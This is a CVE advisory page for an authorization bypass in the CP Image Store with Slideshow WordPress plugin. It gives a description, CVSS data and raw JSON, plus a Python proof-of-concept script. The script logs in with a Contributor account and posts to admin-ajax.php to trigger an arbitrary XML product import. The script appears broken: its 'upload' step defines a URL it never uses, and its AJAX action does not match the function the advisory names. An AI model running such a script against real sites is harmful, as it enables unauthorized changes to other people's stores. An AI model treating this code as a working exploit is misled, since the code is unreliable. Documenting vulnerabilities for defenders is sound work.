Security Vulnerability Report
中文
CVE-2026-0684 CVSS 4.3 MEDIUM

CVE-2026-0684

Published: 2026-01-13 14:16:38
Last Modified: 2026-04-15 00:35:42

Description

The CP Image Store with Slideshow plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.9 due to a logic error in the 'cpis_admin_init' function's permission check. This makes it possible for authenticated attackers, with Contributor-level access and above, to import arbitrary products via XML, if the XML file has already been uploaded to the server.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CP Image Store with Slideshow plugin for WordPress <= 1.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0684 PoC - CP Image Store Authorization Bypass # Target: WordPress site with CP Image Store plugin <= 1.1.9 def exploit_cve_2026_0684(target_url, username, password, xml_file_path): """ Exploit for CVE-2026-0684: CP Image Store Authorization Bypass Requires: Contributor+ level account, ability to upload XML file """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload malicious XML file (requires Contributor+ permissions) upload_url = f"{target_url}/wp-admin/admin.php?page=cp_image_store" # Step 3: Trigger XML import via the vulnerable endpoint # The vulnerability allows low-privileged users to import products via XML import_url = f"{target_url}/wp-admin/admin-ajax.php" import_data = { 'action': 'cp_image_store_import_xml', 'xml_file': xml_file_path # Path to previously uploaded XML file } response = session.post(import_url, data=import_data) if response.status_code == 200: print("[+] XML Import triggered successfully (Authorization Bypass)") print(f"[+] Response: {response.text}") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <xml_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] xml = sys.argv[4] exploit_cve_2026_0684(target, user, pwd, xml)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0684", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:38.053", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CP Image Store with Slideshow plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.1.9 due to a logic error in the 'cpis_admin_init' function's permission check. This makes it possible for authenticated attackers, with Contributor-level access and above, to import arbitrary products via XML, if the XML file has already been uploaded to the server."}, {"lang": "es", "value": "El plugin CP Image Store with Slideshow para WordPress es vulnerable a bypass de autorización en todas las versiones hasta la 1.1.9, inclusive, debido a un error de lógica en la comprobación de permisos de la función cpis_admin_init. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, importen productos arbitrarios vía XML, si el archivo XML ya ha sido subido al servidor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/cp-image-store/tags/1.1.9/cp-image-store.php#L826", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3434716/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/28e48604-2aaf-4e02-9b1e-cebf5f0bfcf7?source=cve", "source": "[email protected]"}]}}